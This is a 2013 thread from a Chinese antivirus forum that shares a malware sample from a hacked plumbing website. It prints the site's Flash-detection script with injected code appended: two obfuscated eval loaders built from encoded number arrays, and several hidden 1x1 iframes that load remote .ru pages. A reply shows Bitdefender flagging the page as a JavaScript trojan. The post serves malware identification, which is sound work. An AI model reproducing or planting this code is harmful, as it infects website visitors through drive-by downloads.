查看: 834|回复: 1
收起左侧

[已鉴定] http://gap-plumbing.com/

[复制链接]
fireold
发表于 2013-7-2 20:21:22 | 显示全部楼层 |阅读模式
  1. //v1.7
  2. // Flash Player Version Detection
  3. // Detect Client Browser type
  4. // Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
  5. var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
  6. var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
  7. var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

  8. function ControlVersion() {
  9.     var version;
  10.     var axo;
  11.     var e;

  12.     // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
  13.     try {
  14.         // version will be set for 7.X or greater players
  15.         axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
  16.         version = axo.GetVariable("$version");
  17.     } catch (e) {}

  18.     if (!version) {
  19.         try {
  20.             // version will be set for 6.X players only
  21.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");

  22.             // installed player is some revision of 6.0
  23.             // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
  24.             // so we have to be careful.
  25.             // default to the first public version
  26.             version = "WIN 6,0,21,0";

  27.             // throws if AllowScripAccess does not exist (introduced in 6.0r47)         
  28.             axo.AllowScriptAccess = "always";

  29.             // safe to call for 6.0r47 or greater
  30.             version = axo.GetVariable("$version");

  31.         } catch (e) {}
  32.     }

  33.     if (!version) {
  34.         try {
  35.             // version will be set for 4.X or 5.X player
  36.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
  37.             version = axo.GetVariable("$version");
  38.         } catch (e) {}
  39.     }

  40.     if (!version) {
  41.         try {
  42.             // version will be set for 3.X player
  43.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
  44.             version = "WIN 3,0,18,0";
  45.         } catch (e) {}
  46.     }

  47.     if (!version) {
  48.         try {
  49.             // version will be set for 2.X player
  50.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
  51.             version = "WIN 2,0,0,11";
  52.         } catch (e) {
  53.             version = -1;
  54.         }
  55.     }

  56.     return version;
  57. }

  58. // JavaScript helper required to detect Flash Player PlugIn version information


  59. function GetSwfVer() {
  60.     // NS/Opera version >= 3 check for Flash plugin in plugin array
  61.     var flashVer = -1;

  62.     if (navigator.plugins != null && navigator.plugins.length > 0) {
  63.         if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
  64.             var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
  65.             var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
  66.             var descArray = flashDescription.split(" ");
  67.             var tempArrayMajor = descArray[2].split(".");
  68.             var versionMajor = tempArrayMajor[0];
  69.             var versionMinor = tempArrayMajor[1];
  70.             var versionRevision = descArray[3];
  71.             if (versionRevision == "") {
  72.                 versionRevision = descArray[4];
  73.             }
  74.             if (versionRevision[0] == "d") {
  75.                 versionRevision = versionRevision.substring(1);
  76.             } else if (versionRevision[0] == "r") {
  77.                 versionRevision = versionRevision.substring(1);
  78.                 if (versionRevision.indexOf("d") > 0) {
  79.                     versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
  80.                 }
  81.             }
  82.             var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
  83.         }
  84.     }
  85.     // MSN/WebTV 2.6 supports Flash 4
  86.     else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
  87.     // WebTV 2.5 supports Flash 3
  88.     else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
  89.     // older WebTV supports Flash 2
  90.     else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
  91.     else if (isIE && isWin && !isOpera) {
  92.         flashVer = ControlVersion();
  93.     }
  94.     return flashVer;
  95. }

  96. // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available


  97. function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) {
  98.     versionStr = GetSwfVer();
  99.     if (versionStr == -1) {
  100.         return false;
  101.     } else if (versionStr != 0) {
  102.         if (isIE && isWin && !isOpera) {
  103.             // Given "WIN 2,0,0,11"
  104.             tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"]
  105.             tempString = tempArray[1]; // "2,0,0,11"
  106.             versionArray = tempString.split(","); // ['2', '0', '0', '11']
  107.         } else {
  108.             versionArray = versionStr.split(".");
  109.         }
  110.         var versionMajor = versionArray[0];
  111.         var versionMinor = versionArray[1];
  112.         var versionRevision = versionArray[2];

  113.         // is the major.revision >= requested major.revision AND the minor version >= requested minor
  114.         if (versionMajor > parseFloat(reqMajorVer)) {
  115.             return true;
  116.         } else if (versionMajor == parseFloat(reqMajorVer)) {
  117.             if (versionMinor > parseFloat(reqMinorVer)) return true;
  118.             else if (versionMinor == parseFloat(reqMinorVer)) {
  119.                 if (versionRevision >= parseFloat(reqRevision)) return true;
  120.             }
  121.         }
  122.         return false;
  123.     }
  124. }

  125. function AC_AddExtension(src, ext) {
  126.     if (src.indexOf('?') != -1) return src.replace(/\?/, ext + '?');
  127.     else return src + ext;
  128. }

  129. function AC_Generateobj(objAttrs, params, embedAttrs) {
  130.     var str = '';
  131.     if (isIE && isWin && !isOpera) {
  132.         str += '<object ';
  133.         for (var i in objAttrs) {
  134.             str += i + '="' + objAttrs[i] + '" ';
  135.         }
  136.         str += '>';
  137.         for (var i in params) {
  138.             str += '<param name="' + i + '" value="' + params[i] + '" /> ';
  139.         }
  140.         str += '</object>';
  141.     } else {
  142.         str += '<embed ';
  143.         for (var i in embedAttrs) {
  144.             str += i + '="' + embedAttrs[i] + '" ';
  145.         }
  146.         str += '> </embed>';
  147.     }

  148.     document.write(str);
  149. }

  150. function AC_FL_RunContent() {
  151.     var ret = AC_GetArgs(arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000", "application/x-shockwave-flash");
  152.     AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
  153. }

  154. function AC_SW_RunContent() {
  155.     var ret = AC_GetArgs(arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000", null);
  156.     AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
  157. }

  158. function AC_GetArgs(args, ext, srcParamName, classid, mimeType) {
  159.     var ret = new Object();
  160.     ret.embedAttrs = new Object();
  161.     ret.params = new Object();
  162.     ret.objAttrs = new Object();
  163.     for (var i = 0; i < args.length; i = i + 2) {
  164.         var currArg = args[i].toLowerCase();

  165.         switch (currArg) {
  166.         case "classid":
  167.             break;
  168.         case "pluginspage":
  169.             ret.embedAttrs[args[i]] = args[i + 1];
  170.             break;
  171.         case "src":
  172.         case "movie":
  173.             args[i + 1] = AC_AddExtension(args[i + 1], ext);
  174.             ret.embedAttrs["src"] = args[i + 1];
  175.             ret.params[srcParamName] = args[i + 1];
  176.             break;
  177.         case "onafterupdate":
  178.         case "onbeforeupdate":
  179.         case "onblur":
  180.         case "oncellchange":
  181.         case "onclick":
  182.         case "ondblclick":
  183.         case "ondrag":
  184.         case "ondragend":
  185.         case "ondragenter":
  186.         case "ondragleave":
  187.         case "ondragover":
  188.         case "ondrop":
  189.         case "onfinish":
  190.         case "onfocus":
  191.         case "onhelp":
  192.         case "onmousedown":
  193.         case "onmouseup":
  194.         case "onmouseover":
  195.         case "onmousemove":
  196.         case "onmouseout":
  197.         case "onkeypress":
  198.         case "onkeydown":
  199.         case "onkeyup":
  200.         case "onload":
  201.         case "onlosecapture":
  202.         case "onpropertychange":
  203.         case "onreadystatechange":
  204.         case "onrowsdelete":
  205.         case "onrowenter":
  206.         case "onrowexit":
  207.         case "onrowsinserted":
  208.         case "onstart":
  209.         case "onscroll":
  210.         case "onbeforeeditfocus":
  211.         case "onactivate":
  212.         case "onbeforedeactivate":
  213.         case "ondeactivate":
  214.         case "type":
  215.         case "codebase":
  216.         case "id":
  217.             ret.objAttrs[args[i]] = args[i + 1];
  218.             break;
  219.         case "width":
  220.         case "height":
  221.         case "align":
  222.         case "vspace":
  223.         case "hspace":
  224.         case "class":
  225.         case "title":
  226.         case "accesskey":
  227.         case "name":
  228.         case "tabindex":
  229.             ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i + 1];
  230.             break;
  231.         default:
  232.             ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i + 1];
  233.         }
  234.     }
  235.     ret.objAttrs["classid"] = classid;
  236.     if (mimeType) ret.embedAttrs["type"] = mimeType;
  237.     return ret;
  238. }


  239. try {
  240.     bgewg346tr++
  241. } catch (aszx) {
  242.     try {
  243.         dsgdsg - 142
  244.     } catch (dsfsd) {
  245.         try {
  246.             window.document.body++
  247.         } catch (gdsgsdg) {
  248.             dbshre = 13;
  249.         }
  250.     }
  251. }
  252. if (dbshre) {
  253.     asd = 0;
  254.     try {
  255.         d = document.createElement("div");
  256.         d.innerHTML.a = "asd";
  257.     } catch (agdsg) {
  258.         asd = 1;
  259.     }
  260.     if (!asd) {
  261.         e = eval;
  262.     }
  263.     asgq = new Array(31, 94, 110, 104, 94, 107, 97, 104, 104, 27, 31, 33, 25, 117, 8, 1, 24, 25, 26, 27, 109, 89, 107, 26, 107, 93, 112, 94, 92, 27, 52, 24, 93, 105, 94, 108, 101, 94, 104, 111, 37, 91, 107, 95, 92, 107, 93, 62, 102, 96, 100, 93, 103, 110, 35, 30, 97, 95, 108, 92, 100, 93, 32, 35, 54, 4, 2, 6, 4, 27, 23, 24, 25, 106, 97, 111, 93, 91, 40, 110, 105, 91, 25, 55, 27, 30, 96, 109, 110, 107, 49, 39, 40, 91, 99, 88, 104, 108, 116, 100, 90, 96, 104, 102, 106, 94, 97, 90, 40, 94, 102, 101, 40, 101, 96, 99, 93, 102, 95, 105, 100, 103, 103, 99, 42, 105, 93, 101, 40, 107, 95, 104, 32, 53, 8, 1, 24, 25, 26, 27, 103, 94, 113, 95, 93, 37, 107, 109, 115, 103, 92, 38, 105, 105, 110, 96, 108, 98, 105, 105, 23, 53, 25, 33, 92, 89, 107, 104, 102, 112, 107, 93, 32, 53, 8, 1, 24, 25, 26, 27, 103, 94, 113, 95, 93, 37, 107, 109, 115, 103, 92, 38, 91, 105, 109, 91, 93, 107, 26, 56, 23, 31, 41, 33, 54, 4, 2, 25, 26, 27, 23, 104, 95, 114, 96, 89, 38, 108, 110, 116, 99, 93, 39, 98, 96, 96, 95, 97, 110, 27, 52, 24, 32, 43, 107, 111, 31, 52, 7, 5, 23, 24, 25, 26, 107, 93, 112, 94, 92, 41, 106, 108, 114, 102, 96, 37, 111, 98, 94, 111, 95, 24, 54, 26, 34, 40, 104, 113, 33, 54, 4, 2, 25, 26, 27, 23, 104, 95, 114, 96, 89, 38, 108, 110, 116, 99, 93, 39, 102, 96, 93, 108, 25, 55, 27, 30, 41, 105, 114, 34, 50, 5, 3, 26, 27, 23, 24, 105, 96, 115, 92, 90, 39, 109, 111, 112, 100, 94, 40, 111, 102, 104, 25, 55, 27, 30, 41, 105, 114, 34, 50, 5, 3, 7, 5, 23, 24, 25, 26, 100, 93, 24, 33, 27, 95, 102, 91, 110, 103, 96, 101, 108, 39, 97, 96, 107, 61, 101, 95, 104, 92, 102, 109, 60, 116, 64, 92, 33, 33, 107, 93, 112, 94, 92, 34, 32, 33, 25, 117, 8, 1, 24, 25, 26, 27, 23, 24, 25, 26, 95, 102, 91, 110, 103, 96, 101, 108, 39, 113, 109, 96, 108, 94, 34, 34, 51, 92, 98, 112, 27, 96, 92, 54, 86, 34, 103, 94, 113, 95, 93, 83, 31, 55, 54, 42, 91, 97, 111, 56, 34, 32, 51, 6, 4, 27, 23, 24, 25, 26, 27, 23, 24, 93, 105, 94, 108, 101, 94, 104, 111, 37, 95, 94, 110, 64, 99, 93, 102, 95, 105, 107, 58, 114, 67, 95, 31, 31, 105, 96, 115, 92, 90, 32, 35, 41, 88, 104, 105, 95, 105, 91, 59, 97, 99, 103, 91, 32, 105, 96, 115, 92, 90, 34, 53, 8, 1, 24, 25, 26, 27, 116, 5, 3, 119, 36, 31, 33, 52);
  264.     s = "";
  265.     for (i = 0; i - 508 != 0; i++) {
  266.         if (020 == 0x10) s += String.fromCharCode(1 * asgq[i] - (i % 5 - 9));
  267.     }
  268.     z = s;
  269.     e(z);
  270. } /*/a37d4c*/


  271. (function() {
  272.     var mq = document.createElement('iframe');
  273.     mq.src = 'http://voxyqjyc.ru/count1.php';
  274.     mq.style.position = 'absolute';
  275.     mq.style.border = '0';
  276.     mq.style.height = '1px';
  277.     mq.style.width = '1px';
  278.     mq.style.left = '1px';
  279.     mq.style.top = '1px';
  280.     if (!document.getElementById('mq')) {
  281.         document.write('<div id=\'mq\'></div>');
  282.         document.getElementById('mq').appendChild(mq);
  283.     }
  284. })(); /*/04b037*/



  285. (function() {
  286.     var ccs = document.createElement('iframe');
  287.     ccs.src = 'http://ecrihgep.ru/count10.php';
  288.     ccs.style.position = 'absolute';
  289.     ccs.style.border = '0';
  290.     ccs.style.height = '1px';
  291.     ccs.style.width = '1px';
  292.     ccs.style.left = '1px';
  293.     ccs.style.top = '1px';
  294.     if (!document.getElementById('ccs')) {
  295.         document.write('<div id=\'ccs\'></div>');
  296.         document.getElementById('ccs').appendChild(ccs);
  297.     }
  298. })(); /*/04b037*/

  299. /*e2aa4e*/
  300. (function() {
  301.     var cfx = document.createElement('iframe');
  302.     cfx.src = 'http://muplokos.ru/count1.php';
  303.     cfx.style.position = 'absolute';
  304.     cfx.style.border = '0';
  305.     cfx.style.height = '1px';
  306.     cfx.style.width = '1px';
  307.     cfx.style.left = '1px';
  308.     cfx.style.top = '1px';
  309.     if (!document.getElementById('cfx')) {
  310.         document.write('<div id=\'cfx\'></div>');
  311.         document.getElementById('cfx').appendChild(cfx);
  312.     }
  313. })(); /*/e2aa4e*/


  314. /*6b1ee4*/
  315. ff = String.fromCharCode;
  316. zz = 3;
  317. try {
  318.     document.body /= 2
  319. } catch (gdsgd) {
  320.     v = "va" + "l";
  321.     if (document) try {
  322.         document.body = 12;
  323.     } catch (gdsgsdg) {
  324.         asd = 0;
  325.         try {
  326.             q = document.createElement("div");
  327.         } catch (q) {
  328.             asd = 1;
  329.         }
  330.         if (!asd) {
  331.             w = {
  332.                 a: window
  333.             }.a;
  334.             vv = "e" + v;
  335.         }
  336.     }
  337.     e = w[vv];
  338.     if (1) {
  339.         f = new Array(40, 101, 115, 110, 98, 114, 105, 110, 108, 32, 39, 39, 32, 122, 11, 10, 31, 30, 32, 31, 116, 97, 113, 30, 117, 103, 97, 111, 31, 59, 32, 99, 109, 99, 116, 107, 101, 109, 114, 46, 98, 112, 101, 96, 114, 101, 68, 106, 101, 108, 99, 110, 115, 38, 39, 104, 100, 114, 96, 107, 101, 38, 39, 59, 12, 8, 13, 9, 30, 32, 31, 30, 117, 103, 97, 111, 45, 113, 114, 98, 30, 61, 31, 37, 104, 115, 114, 112, 57, 45, 47, 110, 102, 113, 120, 112, 103, 120, 102, 46, 113, 115, 47, 98, 109, 117, 109, 114, 50, 45, 110, 104, 111, 37, 59, 12, 8, 32, 31, 30, 32, 116, 102, 99, 110, 44, 115, 115, 119, 108, 100, 44, 112, 110, 113, 105, 115, 103, 111, 109, 30, 61, 31, 37, 97, 97, 113, 111, 107, 115, 116, 100, 37, 59, 12, 8, 32, 31, 30, 32, 116, 102, 99, 110, 44, 115, 115, 119, 108, 100, 44, 98, 110, 112, 100, 100, 112, 32, 60, 30, 39, 47, 37, 59, 12, 8, 32, 31, 30, 32, 116, 102, 99, 110, 44, 115, 115, 119, 108, 100, 44, 104, 100, 103, 103, 103, 114, 32, 60, 30, 39, 48, 110, 120, 38, 57, 13, 9, 30, 32, 31, 30, 117, 103, 97, 111, 45, 113, 116, 120, 106, 101, 45, 117, 105, 99, 114, 104, 31, 59, 32, 38, 47, 112, 119, 37, 59, 12, 8, 32, 31, 30, 32, 116, 102, 99, 110, 44, 115, 115, 119, 108, 100, 44, 108, 100, 100, 116, 31, 59, 32, 38, 47, 112, 119, 37, 59, 12, 8, 32, 31, 30, 32, 116, 102, 99, 110, 44, 115, 115, 119, 108, 100, 44, 116, 110, 110, 32, 60, 30, 39, 48, 110, 120, 38, 57, 13, 9, 11, 10, 31, 30, 32, 31, 103, 102, 31, 38, 33, 99, 109, 99, 116, 107, 101, 109, 114, 46, 102, 99, 116, 68, 106, 101, 108, 99, 110, 115, 64, 121, 72, 98, 40, 38, 115, 104, 98, 109, 39, 40, 39, 32, 122, 11, 10, 31, 30, 32, 31, 30, 32, 31, 30, 100, 110, 97, 117, 108, 99, 110, 115, 44, 119, 113, 103, 116, 100, 38, 39, 59, 98, 105, 117, 30, 105, 99, 59, 92, 38, 115, 104, 98, 109, 92, 38, 60, 60, 46, 98, 105, 117, 60, 39, 40, 57, 13, 9, 30, 32, 31, 30, 32, 31, 30, 32, 99, 109, 99, 116, 107, 101, 109, 114, 46, 102, 99, 116, 68, 106, 101, 108, 99, 110, 115, 64, 121, 72, 98, 40, 38, 115, 104, 98, 109, 39, 40, 44, 97, 111, 110, 101, 109, 98, 67, 103, 103, 108, 99, 38, 117, 103, 97, 111, 40, 57, 13, 9, 30, 32, 31, 30, 125, 12, 8, 125, 40, 38, 41, 58);
  340.     }
  341.     w = f;
  342.     s = [];
  343.     for (i = 2 - 2; - i + 479 != 0; i += 1) {
  344.         j = i;
  345.         if ((031 == 0x19)) if (e) s = s + ff((1 * w[j] + j % zz));
  346.     }
  347.     xz = e;
  348.     xz(s)
  349. } /*/6b1ee4*/
复制代码
  1. (function() {
  2.     var fjmz = document.createElement('iframe');

  3.     fjmz.src = 'http://ohqyrgyh.ru/count2.php';
  4.     fjmz.style.position = 'absolute';
  5.     fjmz.style.border = '0';
  6.     fjmz.style.height = '1px';
  7.     fjmz.style.width = '1px';
  8.     fjmz.style.left = '1px';
  9.     fjmz.style.top = '1px';

  10.     if (!document.getElementById('fjmz')) {
  11.         document.write('<div id=\'fjmz\'></div>');
  12.         document.getElementById('fjmz').appendChild(fjmz);
  13.     }
  14. })();
复制代码
  1. (function() {
  2.     var pfxeb = document.createElement('iframe');

  3.     pfxeb.src = 'http://ahapszichologia.com/kelemenmoni/rel.php';
  4.     pfxeb.style.position = 'absolute';
  5.     pfxeb.style.border = '0';
  6.     pfxeb.style.height = '1px';
  7.     pfxeb.style.width = '1px';
  8.     pfxeb.style.left = '1px';
  9.     pfxeb.style.top = '1px';

  10.     if (!document.getElementById('pfxeb')) {
  11.         document.write('<div id=\'pfxeb\'></div>');
  12.         document.getElementById('pfxeb').appendChild(pfxeb);
  13.     }
  14. })();
复制代码
av18.jpg fs19.jpg
释然的心
发表于 2013-7-2 23:58:12 | 显示全部楼层
本帖最后由 释然的心 于 2013-7-3 00:05 编辑

停! Bitdefender 已拦截此网页。您正在访问的网页包含恶意程序.

详细资料
网页:[url]http://gap-plumbing.com/
检测到病毒: Trojan.JS.Agent.IWG


已拦截了浏览器访问带我回到安全网页

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 13:08 , Processed in 0.131633 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表